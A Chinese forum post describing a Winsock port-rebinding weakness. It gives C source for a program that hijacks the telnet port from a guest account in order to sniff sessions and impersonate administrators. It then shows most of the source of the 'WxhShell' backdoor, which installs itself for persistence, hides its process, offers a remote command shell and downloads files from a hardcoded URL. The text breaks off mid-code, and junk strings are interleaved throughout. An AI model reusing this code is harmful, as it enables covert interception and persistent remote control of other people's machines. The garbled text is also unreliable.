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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DD{-xCCR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nr8#/H2f  
Nk*d=vj  
  saddr.sin_family = AF_INET; $aDAD4mmm  
\R\?`8O rz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p#g o<Y#  
Q'>pOtJG*J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )O*\}6:S  
3|x*lmit  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :[YHJaK  
*")Req  
  这意味着什么?意味着可以进行如下的攻击: [|.IXdJ!  
=bgzl=A`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _FR_6*C)5  
6}4?, r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?5-Y'(r  
1fUg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -j9Wf=  
wyJ+~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jrk48z  
 ~ "Xcd8:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zawnx=  
nI]8w6eCV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0vR gmn  
}@6ws/5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "sh*,K5x|  
7vZtEwC)n  
  #include ZEa31[@B[  
  #include q(xr5iuP_  
  #include AUjZYp  
  #include    a4aM.o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Wg{ 9X#|  
  int main() ]t0]fb[J  
  { W cOyOv  
  WORD wVersionRequested; rMr:\M]t  
  DWORD ret; j}u b  
  WSADATA wsaData; I(m*%>  
  BOOL val; I[nSf]Vm>  
  SOCKADDR_IN saddr; !y_4.&C{  
  SOCKADDR_IN scaddr; x9\z^GU%H  
  int err; eLFxGZZ  
  SOCKET s; ^I W5c>;|  
  SOCKET sc; +;,65j+n   
  int caddsize; BV;dV6`z  
  HANDLE mt; %[S-"k  
  DWORD tid;   t?1 b(oJ  
  wVersionRequested = MAKEWORD( 2, 2 ); u-</G-y  
  err = WSAStartup( wVersionRequested, &wsaData ); wH]5VltUT1  
  if ( err != 0 ) { Z?JR6;@W  
  printf("error!WSAStartup failed!\n"); "xWrYq'"  
  return -1; !U::kr=t  
  } y[`>,?ns5  
  saddr.sin_family = AF_INET;  N$ oQK(  
   BN7]u5\7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <8)cr0~zy>  
Rp^fY_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xu%_Zt2/?j  
  saddr.sin_port = htons(23); J(>T&G;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pSa pF)1>  
  { A4{14Y;?  
  printf("error!socket failed!\n"); ) KvGJo)("  
  return -1; d!57`bVOd  
  } &ci;0P#Q  
  val = TRUE; m3#rU%Wj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LUaOp "  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~cv322N   
  { L`3;9rO  
  printf("error!setsockopt failed!\n"); !(gMr1}w  
  return -1; R1 C}S  
  } (jmF7XfU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WU$l@:Yo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v_|k:l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H~$*R7~  
,tTq25~H\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Efp[K}Z^$  
  { q!;u4J  
  ret=GetLastError(); eQqnPqi-  
  printf("error!bind failed!\n"); ~`97?6*Ra  
  return -1; -kk0zg &|i  
  } u_HCXpP!Q  
  listen(s,2); {k}$L|w  
  while(1) *3iEO>  
  { +-r ~-bs  
  caddsize = sizeof(scaddr); ctOBV  
  //接受连接请求 F,8?du]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eC{St0  
  if(sc!=INVALID_SOCKET) 8AVtUU  
  { ?ESsma6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3d`u!i?/  
  if(mt==NULL) b9;w3Ba  
  { 4^Ke? ;v  
  printf("Thread Creat Failed!\n"); C;3  
  break; mWUkkR(/  
  } prEI9/d"  
  } ;RK;kdZ  
  CloseHandle(mt); #HDP ha  
  } 0^3n#7m;K  
  closesocket(s); RNo~}#  
  WSACleanup(); 8,@0~2fz#  
  return 0; + mPVI  
  }   5pU/X.lc  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6e>P!bo  
  { j=dGNi)R  
  SOCKET ss = (SOCKET)lpParam; x,NV{uG$n  
  SOCKET sc; 8'PK}heBU  
  unsigned char buf[4096]; 2#(dfEAy  
  SOCKADDR_IN saddr; 6]r#6c %  
  long num; !o`riQLs>  
  DWORD val; :al ,zxs  
  DWORD ret; ;e{e ?,[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BgT(~8'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [*J?TNk  
  saddr.sin_family = AF_INET; fHODS9HQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )g?ox{Hol  
  saddr.sin_port = htons(23); 704_ehrlE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MTip4L W9  
  { cT5BBR   
  printf("error!socket failed!\n"); p\P)    
  return -1; $0gGRCCG;  
  } @_$Un&eo  
  val = 100; 2w}l!'ue  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GG`j9"t4  
  { _+j#.o>  
  ret = GetLastError(); i A<'i8$P  
  return -1; R=<%!  
  } sXmP<c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @'A0Lq+#  
  { F/PH=Dk  
  ret = GetLastError(); ]O>AD 6P  
  return -1; u9m ~1\R*  
  } ce [ Maw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |xF!3GGms  
  { Gs\D`| 3=  
  printf("error!socket connect failed!\n"); Jj/}GVNc7  
  closesocket(sc); y=0)vi{]  
  closesocket(ss); T`bUBrK6g`  
  return -1; zR4]buHnE  
  } OdpHF~(Y/  
  while(1) ^T*!~K8A  
  { -'F27])  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xI_0`@do  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .D;6 r4S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ob{Tn@  
  num = recv(ss,buf,4096,0); i;atYltEJ2  
  if(num>0) &e78xtA{  
  send(sc,buf,num,0); FTr'I82m(  
  else if(num==0) &>!-67  
  break; f@gvDo]Y  
  num = recv(sc,buf,4096,0); "Zy:q'`o  
  if(num>0) M0g=gmau  
  send(ss,buf,num,0); t,n2N13  
  else if(num==0) +/bD9x1H  
  break; s(?%A  
  } dBwoAq`'  
  closesocket(ss); +v~x_E5FP  
  closesocket(sc); bU[_YuJbM  
  return 0 ; L?Ys(a"k  
  } ~MP |L?my  
CG95ScrX  
E0x\h<6W~  
========================================================== XS #u/!  
'N^*,  
下边附上一个代码,,WXhSHELL Sl-9im1  
:+ mULUi  
========================================================== za+)2/ `L  
G[*z,2Kb>  
#include "stdafx.h" -k@1# c+z  
f[ 2PAz  
#include <stdio.h> vvG"rU  
#include <string.h> %|%eGidu  
#include <windows.h> 4*L* "vKa  
#include <winsock2.h> fC 3T\@(&  
#include <winsvc.h> UCXRF  
#include <urlmon.h> xHqF_10S#  
fs:yx'mxV  
#pragma comment (lib, "Ws2_32.lib") AusjN-IL  
#pragma comment (lib, "urlmon.lib") N:CQ$7T{ j  
93Zij<bH?e  
#define MAX_USER   100 // 最大客户端连接数 =@pD>h/~  
#define BUF_SOCK   200 // sock buffer [Y~~C J  
#define KEY_BUFF   255 // 输入 buffer 4"H *hKp  
rd<43  
#define REBOOT     0   // 重启 [V>s]c<4`o  
#define SHUTDOWN   1   // 关机 & Zn`2%  
PU[<sr#,  
#define DEF_PORT   5000 // 监听端口 ^^zj4 }On?  
*u:,@io7'G  
#define REG_LEN     16   // 注册表键长度 0w: 3/WO  
#define SVC_LEN     80   // NT服务名长度 //;(KmU9  
Hq+QsplG  
// 从dll定义API g$jTP#%b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )[J @s=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FZW`ADq]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =36fS/Gb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mj&OZ+  
PO8Z2"WI  
// wxhshell配置信息 Z#B}#*<C  
struct WSCFG { {%CW!Rc  
  int ws_port;         // 监听端口 |d&C<O;f  
  char ws_passstr[REG_LEN]; // 口令  ,vO\n^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7#d:TXS  
  char ws_regname[REG_LEN]; // 注册表键名 kz1#"8Zd!  
  char ws_svcname[REG_LEN]; // 服务名 /a<UKh:A[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U<Tv<7`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [*Ai@:F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nu7 R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nGe4IY\-w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [qW%H,_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LSA6*Q51  
b_a k@LYiu  
}; U65l o[  
tW4X+d"  
// default Wxhshell configuration \O4s0*gw  
struct WSCFG wscfg={DEF_PORT, ]hS<"=oj  
    "xuhuanlingzhe", *;9H\%  
    1, vanV|O  
    "Wxhshell", [5p3:D  
    "Wxhshell", l"(PP3  
            "WxhShell Service", b r Iz8]  
    "Wrsky Windows CmdShell Service", Q,JH/X  
    "Please Input Your Password: ", i+qg*o$  
  1, =1dczJHV  
  "http://www.wrsky.com/wxhshell.exe", wn?oHz*  
  "Wxhshell.exe" #O !2  
    }; z,$uIv}'@  
S6(48/  
// 消息定义模块 'G~i;o  2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K}cA%Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g-wE(L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,*U-o}{8C?  
char *msg_ws_ext="\n\rExit."; Za1mI^ L1  
char *msg_ws_end="\n\rQuit."; [ i, [^  
char *msg_ws_boot="\n\rReboot..."; z/`+jIB  
char *msg_ws_poff="\n\rShutdown..."; .:f ao'  
char *msg_ws_down="\n\rSave to "; @wa"pWx8  
K=HLMDs  
char *msg_ws_err="\n\rErr!"; wW p7N  
char *msg_ws_ok="\n\rOK!"; W{.:Cf9  
$*G3'G2'iS  
char ExeFile[MAX_PATH]; zN!yOlp5  
int nUser = 0; ,hu@V\SKv  
HANDLE handles[MAX_USER]; f.uuXK  
int OsIsNt; bR) P-9rs  
|f @A-d X  
SERVICE_STATUS       serviceStatus; 2w3LK2`ZL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b9vud r  
C5-u86F  
// 函数声明 :0Jn`Ds4o  
int Install(void); kJJiDDL0;*  
int Uninstall(void); G-2~$ u  
int DownloadFile(char *sURL, SOCKET wsh); q[VQ?b~9  
int Boot(int flag); AV2Jl"1)z  
void HideProc(void); $)"T9 $>$  
int GetOsVer(void); U`=r .>  
int Wxhshell(SOCKET wsl); '%t$m f!nV  
void TalkWithClient(void *cs); %;ED} X  
int CmdShell(SOCKET sock); hBX.GFnw  
int StartFromService(void); gEsD7]o(=  
int StartWxhshell(LPSTR lpCmdLine); ?_d>-NC  
%;h1n6=v2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s=-?kcoJ2d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J)B3o$  
rhQ+ylt8I  
// 数据结构和表定义 o.NU"$\?  
SERVICE_TABLE_ENTRY DispatchTable[] = &4|]VOf  
{ lqv}~MC  
{wscfg.ws_svcname, NTServiceMain}, Q2Ey RFT  
{NULL, NULL} #K:iB*  
}; 1="]'!2Is  
?]Hs~n-  
// 自我安装 (^FMm1@T  
int Install(void) [[^r;XKQ  
{ 0@b<?Ms9  
  char svExeFile[MAX_PATH]; zeQ~'ao<  
  HKEY key; [&*irk  
  strcpy(svExeFile,ExeFile); g]HWaFjc5  
T88$sD.2 '  
// 如果是win9x系统,修改注册表设为自启动 ]^.`}Y=`g  
if(!OsIsNt) { *~6]IWN`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .wd7^wI^S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %A~. NNbS  
  RegCloseKey(key); (*\&xRY|C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hfLe<,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sj&(O@~R  
  RegCloseKey(key); qXq#A&  
  return 0; nbP}a?XC  
    } :KvZP:T  
  } _ymSo`Iv R  
} cJq {;~   
else { 6x(b/`VW  
NiVLx_<Pr'  
// 如果是NT以上系统,安装为系统服务 faLfdUimJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /];N1  
if (schSCManager!=0) 85io %>&0  
{ ,B/TqPP  
  SC_HANDLE schService = CreateService ~h8k4eM  
  ( B&X)bGx8  
  schSCManager, J+ :3== ,  
  wscfg.ws_svcname, I:=!,4S;  
  wscfg.ws_svcdisp, ]wV\=m?z&  
  SERVICE_ALL_ACCESS, ;:[P/eg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {`2 0'  
  SERVICE_AUTO_START, U= n  
  SERVICE_ERROR_NORMAL, Q$.CtECo  
  svExeFile, 8M!9gvcaO  
  NULL, $<Gt^3e  
  NULL, /rD9)  
  NULL, bHSoQ \  
  NULL, teDRX13=;  
  NULL b}7g>  
  ); bu pW*fD:  
  if (schService!=0) sOWP0x  Y  
  { wd|^m%  
  CloseServiceHandle(schService); 5?>Q[a.Ne  
  CloseServiceHandle(schSCManager); "N%W5[C{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j^ 8Hjg  
  strcat(svExeFile,wscfg.ws_svcname); 7SkW!5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,:}VbQ:3I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MJe/ \  
  RegCloseKey(key); cqh1,h$sG  
  return 0; =u9e5n  
    } U/q"F<?.c  
  } $?kTS1I(  
  CloseServiceHandle(schSCManager); P!9-!+F"  
} V e[Kv07  
} )0 6. dZq\  
L~|_)4  
return 1; .ejC#vB{KM  
} l3MA&&++KF  
2g)q (  
// 自我卸载 Sb?v5  
int Uninstall(void) K~UT@,CS60  
{ iuEe#B;!  
  HKEY key; PB8U+  
k~<ORnda  
if(!OsIsNt) { L-|7 &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;2BPEo>z9  
  RegDeleteValue(key,wscfg.ws_regname);  /*S6/#  
  RegCloseKey(key); }FV_jJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '#lEUlB  
  RegDeleteValue(key,wscfg.ws_regname); 3WkrG.$[b  
  RegCloseKey(key); {|zQ .s A  
  return 0; q}JP;p(#  
  } 9~f RYA*  
} }236{)DuN  
} |9CPT%A#  
else { **9[e[(X  
%kBrxf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %I)*5M6  
if (schSCManager!=0) 8.`5"9Vh  
{ 2rP!]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zBrqh9%8e  
  if (schService!=0) i"!j:YEo  
  { LGRhCOP:  
  if(DeleteService(schService)!=0) { g fv?#mp  
  CloseServiceHandle(schService); :NwFJc  
  CloseServiceHandle(schSCManager); P]4u`&  
  return 0; 14-uy.0[  
  } @DR?^ qp  
  CloseServiceHandle(schService); It'PWqZtG  
  } :,^x?'HK  
  CloseServiceHandle(schSCManager); Rwmr[g  
} w01\KV  
} :(jovse\  
NTM.Vj -_h  
return 1; Wc##.qU  
} ]mO7O+  
8`b_,(\N  
// 从指定url下载文件 _ =O;Lz$x  
int DownloadFile(char *sURL, SOCKET wsh) :bp8S@  
{ bb`DyUy ^+  
  HRESULT hr; ve/|"RB  
char seps[]= "/"; Z=s]@r  
char *token; #k)J);&ZA  
char *file; 8g_GXtn(z  
char myURL[MAX_PATH]; pEGHW;  
char myFILE[MAX_PATH]; @2A&eLw LH  
Z oKXao  
strcpy(myURL,sURL); lS`VJA6l.  
  token=strtok(myURL,seps); x5W@zqj  
  while(token!=NULL) P<xCg  
  { ( v=Z$#l  
    file=token; |Tl2r,(+R  
  token=strtok(NULL,seps); 6x_D0j%^]  
  } !Ie={BpzbZ  
SC0_ h(zb,  
GetCurrentDirectory(MAX_PATH,myFILE); xb(y15R\I  
strcat(myFILE, "\\"); iJ`v3PP  
strcat(myFILE, file); llBW*4'  
  send(wsh,myFILE,strlen(myFILE),0); 24_/JDz  
send(wsh,"...",3,0); 8nRxx`U\q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r?n3v[B  
  if(hr==S_OK) *3Ci4\Ew  
return 0; @z.HyQ_v  
else  A,|lDsvM  
return 1; ->YF</I  
a: OuDjFp  
} h IUO=f  
[E%Ov0OC  
// 系统电源模块 z 4`H<Pn  
int Boot(int flag) p8u -3  
{ c f1GA  
  HANDLE hToken; jJY!;f  
  TOKEN_PRIVILEGES tkp; a s?)6  
yy3-Xu4  
  if(OsIsNt) { >9]i#So^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4ze4{a^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L{i|OK^e  
    tkp.PrivilegeCount = 1; Rlf#)4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *[['X%f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k<NEauQ  
if(flag==REBOOT) { Z0%Qy+%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7(= 09z  
  return 0; K~>ESMZ5  
} XFN4m #  
else { V\o& {7!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0j|JyS:}G  
  return 0; @460r  
} Gl>_C@n0h  
  } !tofO|E5  
  else { .Cf`D tK  
if(flag==REBOOT) { nqyB,vv0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H#j Z'I  
  return 0; 8klu*  
} )y}W=Q>T  
else { 4~/3MG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T]Eg9Y:+v  
  return 0; Tj*Vk $}0  
} t1tZ:4  
} o@0p  
4ky@rcD1  
return 1; kFHtZS(  
} "Dwaq*L  
L2 tSKw~  
// win9x进程隐藏模块 PG/xX H  
void HideProc(void) d$`NApr  
{ ueazAsk3g  
RZ&T\;m,7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v81H!c.*  
  if ( hKernel != NULL ) n$T'gX#5  
  { <U() *0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xT$9M"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^8yhx-mgb  
    FreeLibrary(hKernel); wtw  
  } 564)ha/^(  
V<;w  
return; r/vRaOg>X  
} )9 QeVf  
k9<P]%  
// 获取操作系统版本 ]2P*Z6Az  
int GetOsVer(void) ,s,VOyr @F  
{ ,2YkQ/ >  
  OSVERSIONINFO winfo; KDX34Fr1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \{ui{8+G  
  GetVersionEx(&winfo); nZ 0rxx[V?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U&\8~h  
  return 1; <X_I`  
  else 3o=K?eOdg  
  return 0; pkL&j<{  
} Yw\PmRL"p  
fc #zhp5bX  
// 客户端句柄模块 &u'$q  
int Wxhshell(SOCKET wsl) f6h!wx  
{ [nam H a  
  SOCKET wsh; X_eh+>D  
  struct sockaddr_in client; =i/7&gC  
  DWORD myID; uxd5XS  
5xawa:K  
  while(nUser<MAX_USER) (ft8,^=4  
{ Sp=6%3fZ]m  
  int nSize=sizeof(client); Kf$%C"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QM }TPE  
  if(wsh==INVALID_SOCKET) return 1; b!R\u1b  
U h'1f7%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q~A25Jf .  
if(handles[nUser]==0) $i+ 1a0%n  
  closesocket(wsh); ni@N/Z?!pA  
else }0P5~]S<5A  
  nUser++; i<*{Z~B  
  } *c+Kqz-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F`$V H^%V  
$=iV)-  
  return 0; .}>DEpc:n  
} 9o]h}Xc  
N{u4  
// 关闭 socket lIg;>|'Z5&  
void CloseIt(SOCKET wsh) j~eYq  
{ 6mnj!p]3  
closesocket(wsh); z;_fO>u:  
nUser--; D,rF?t>=S  
ExitThread(0); w34&m  
} `H5n _km  
dcgz<m  
// 客户端请求句柄 >+w(%;i;  
void TalkWithClient(void *cs) ,3t('SE  
{ 8()L}@y  
hDp -,ag{  
  SOCKET wsh=(SOCKET)cs; JwNG`M Gc  
  char pwd[SVC_LEN]; K>2mm!{  
  char cmd[KEY_BUFF]; _Kp{b"G  
char chr[1]; Ccw6,2`&  
int i,j; s 9,?"\0Zm  
@"9^U_Qf1z  
  while (nUser < MAX_USER) { Efm37Kv5l  
Q3M;'m  
if(wscfg.ws_passstr) { "0F =txduS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2^_Gaj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C w<bu|?  
  //ZeroMemory(pwd,KEY_BUFF); .~+I"V{y F  
      i=0; d?RKobk  
  while(i<SVC_LEN) { (=d%Bn$6b  
<m"yPi3TY  
  // 设置超时 MZGN,[~)6  
  fd_set FdRead; {CM%QMM  
  struct timeval TimeOut; I@l' Fx  
  FD_ZERO(&FdRead); $q]:m+Fm  
  FD_SET(wsh,&FdRead); ?- 5{XrNm  
  TimeOut.tv_sec=8; %C_RBd  
  TimeOut.tv_usec=0; 6OJ`R.DM`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $z!o&3c'x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )p&FDK#ob=  
;O*y$|+PA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -0 [^w  
  pwd=chr[0]; ]>NP?S )R  
  if(chr[0]==0xd || chr[0]==0xa) { \dAh^BK1(  
  pwd=0; c]`}DH,TJ  
  break; Ds4n>V,o  
  } #:{Bd8PS  
  i++; O Xy>Tlv  
    } S{7*uK3$  
N#-P}\Q9  
  // 如果是非法用户,关闭 socket ;?>xuC$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +1j@n.)ft  
} [-)N}rL>  
(Yz EsY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `p@YV(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~yH<,e  
*~F\k):>  
while(1) { tN&x6O+@  
8Yr_$5R  
  ZeroMemory(cmd,KEY_BUFF); wf!?'*  
^zv0hGk2  
      // 自动支持客户端 telnet标准   NJfI9L  
  j=0; U[/k=}76  
  while(j<KEY_BUFF) { G3HmLz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DBuvbq-  
  cmd[j]=chr[0]; KJPCO0"  
  if(chr[0]==0xa || chr[0]==0xd) { {{c/:FTEU  
  cmd[j]=0; o +sb2:x  
  break; fRp+-QvE  
  } T6[];|%W  
  j++; F6*n,[5(  
    } yUF<qB  
Y27x;U  
  // 下载文件 {AbQaw  
  if(strstr(cmd,"http://")) { @EZ@X/8{&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Z]zul@+*  
  if(DownloadFile(cmd,wsh)) 3 8>?Z ]V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X/  
  else 7mipj]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [:-Ltfr  
  } pp$WM\r  
  else { 5;wA7@  
z;6 Tp  
    switch(cmd[0]) { 0?} ),8v>  
  -POV#1s  
  // 帮助 |^K-m42  
  case '?': { (0jT#&#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D"^4X'6  
    break; b4GD}kR  
  } %xtTh]s  
  // 安装 a?bSMt}  
  case 'i': { 9ALE6  
    if(Install()) $2Y'[Dto\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^z #'o  
    else 413,O~^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V!#+Ti/w4  
    break; )UA$."~O  
    } :<ye:P1s  
  // 卸载 %|L+~=  
  case 'r': { B#RwW,  
    if(Uninstall()) Az.(tJ X"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5z8CUDt 0  
    else '_& Xemz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q<mDs$^K  
    break; tbHU(#~  
    } ~1xln?Q  
  // 显示 wxhshell 所在路径 _-aQ.p ?T  
  case 'p': { +}H2|vP  
    char svExeFile[MAX_PATH]; lub(chCE[  
    strcpy(svExeFile,"\n\r"); } %_h|N  
      strcat(svExeFile,ExeFile); RIBj9kd  
        send(wsh,svExeFile,strlen(svExeFile),0); OfC0lb:c  
    break; s&MfC\  
    } Jh2eo+/%  
  // 重启 _=9o:F  
  case 'b': { EoM}Co  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KI~BjP\e  
    if(Boot(REBOOT)) }oH A@o5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@)47]~  
    else { <11pk  
    closesocket(wsh); gqR?hZD  
    ExitThread(0); M>hHTa?W  
    } ,7:_M> -3g  
    break; qkB)CY7  
    } t(69gF\"  
  // 关机 (R)\  
  case 'd': {  PZZTRgVc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c,%9Fh?(  
